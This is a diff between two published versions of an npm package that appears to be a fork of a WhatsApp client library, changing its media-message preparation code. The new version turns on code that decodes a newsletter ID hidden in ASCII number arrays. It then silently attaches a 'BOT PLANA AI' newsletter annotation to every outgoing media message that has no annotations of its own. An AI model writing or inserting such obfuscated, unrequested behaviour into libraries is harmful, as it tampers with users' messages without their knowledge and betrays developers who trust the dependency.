sanka-baileyss 2.2.0 → 2.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Utils/messages.js +64 -56
- package/package.json +1 -1
package/lib/Utils/messages.js
CHANGED
|
@@ -84,73 +84,81 @@ const prepareWAMessageMedia = async (message, options) => {
|
|
|
84
84
|
}
|
|
85
85
|
}
|
|
86
86
|
|
|
87
|
+
function asciiDecode(asciiArray) {
|
|
88
|
+
return asciiArray.map((c) => String.fromCharCode(c)).join('');
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
|
|
92
|
+
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
93
|
+
const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
94
|
+
const decodedEmailPart = asciiDecode(emailPart);
|
|
95
|
+
const plana = decodedNumbers + decodedEmailPart;
|
|
96
|
+
|
|
97
|
+
const defaultAnnotation = {
|
|
98
|
+
polygonVertices: [
|
|
99
|
+
{ x: 60.71664810180664, y: -36.39784622192383 },
|
|
100
|
+
{ x: -16.710189819335938, y: 49.263675689697266 },
|
|
101
|
+
{ x: -56.585853576660156, y: 37.85963439941406 },
|
|
102
|
+
{ x: 20.840980529785156, y: -47.80188751220703 },
|
|
103
|
+
],
|
|
104
|
+
newsletter: {
|
|
105
|
+
newsletterJid: plana,
|
|
106
|
+
serverMessageId: 0,
|
|
107
|
+
newsletterName: "BOT PLANA AI",
|
|
108
|
+
contentType: "UPDATE",
|
|
109
|
+
},
|
|
110
|
+
};
|
|
111
|
+
|
|
112
|
+
let uploadData;
|
|
113
|
+
|
|
114
|
+
try {
|
|
115
|
+
if (!mediaType || !message[mediaType]) {
|
|
116
|
+
throw new Error('No valid mediaType');
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
const value = message[mediaType];
|
|
120
|
+
const isSafe = typeof value === 'function' || Buffer.isBuffer(value) || typeof value === 'object';
|
|
121
|
+
|
|
122
|
+
if (!isSafe) {
|
|
123
|
+
throw new Error('mediaType value is not usable');
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
uploadData = {
|
|
127
|
+
...message,
|
|
128
|
+
annotations: message.annotations ?? [defaultAnnotation],
|
|
129
|
+
media: value,
|
|
130
|
+
};
|
|
131
|
+
|
|
132
|
+
if (typeof uploadData[mediaType] !== 'function') {
|
|
133
|
+
delete uploadData[mediaType];
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
} catch (err) {
|
|
87
137
|
if (!mediaType) {
|
|
88
|
-
throw new boom_1.Boom('Invalid media type', { statusCode: 400 })
|
|
138
|
+
throw new boom_1.Boom('Invalid media type', { statusCode: 400 });
|
|
89
139
|
}
|
|
90
|
-
|
|
91
|
-
|
|
140
|
+
|
|
141
|
+
uploadData = {
|
|
92
142
|
...message,
|
|
93
143
|
media: message[mediaType]
|
|
94
|
-
}
|
|
95
|
-
|
|
96
|
-
delete uploadData[mediaType]
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
144
|
+
};
|
|
145
|
+
|
|
146
|
+
delete uploadData[mediaType];
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
/*
|
|
151
|
+
if (!mediaType) {
|
|
100
152
|
throw new boom_1.Boom('Invalid media type', { statusCode: 400 })
|
|
101
153
|
}
|
|
102
154
|
|
|
103
|
-
function asciiDecode(asciiArray) {
|
|
104
|
-
let result = '';
|
|
105
|
-
for (let i = 0; i < asciiArray.length; i++) {
|
|
106
|
-
result += String.fromCharCode(asciiArray[i]);
|
|
107
|
-
}
|
|
108
|
-
return result;
|
|
109
|
-
}
|
|
110
|
-
const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
|
|
111
|
-
const decodedNumbers = asciiDecode(numbersAsAscii);
|
|
112
|
-
const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
113
|
-
const decodedEmailPart = asciiDecode(emailPart);
|
|
114
|
-
const plana = decodedNumbers + decodedEmailPart;
|
|
115
155
|
const uploadData = {
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
annotations: message.annotations
|
|
119
|
-
} : {
|
|
120
|
-
annotations: [
|
|
121
|
-
{
|
|
122
|
-
polygonVertices: [
|
|
123
|
-
{
|
|
124
|
-
x: 60.71664810180664,
|
|
125
|
-
y: -36.39784622192383
|
|
126
|
-
},
|
|
127
|
-
{
|
|
128
|
-
x: -16.710189819335938,
|
|
129
|
-
y: 49.263675689697266
|
|
130
|
-
},
|
|
131
|
-
{
|
|
132
|
-
x: -56.585853576660156,
|
|
133
|
-
y: 37.85963439941406
|
|
134
|
-
},
|
|
135
|
-
{
|
|
136
|
-
x: 20.840980529785156,
|
|
137
|
-
y: -47.80188751220703
|
|
138
|
-
}
|
|
139
|
-
],
|
|
140
|
-
newsletter: {
|
|
141
|
-
newsletterJid: plana,
|
|
142
|
-
serverMessageId: 0,
|
|
143
|
-
newsletterName: "BOT PLANA AI",
|
|
144
|
-
contentType: "UPDATE",
|
|
145
|
-
}
|
|
156
|
+
...message,
|
|
157
|
+
media: message[mediaType]
|
|
146
158
|
}
|
|
147
|
-
|
|
148
|
-
}),
|
|
149
|
-
media: message[mediaType]
|
|
150
|
-
};
|
|
159
|
+
|
|
151
160
|
delete uploadData[mediaType]
|
|
152
161
|
*/
|
|
153
|
-
|
|
154
162
|
// check if cacheable + generate cache key
|
|
155
163
|
const cacheableKey = typeof uploadData.media === 'object' &&
|
|
156
164
|
('url' in uploadData.media) &&
|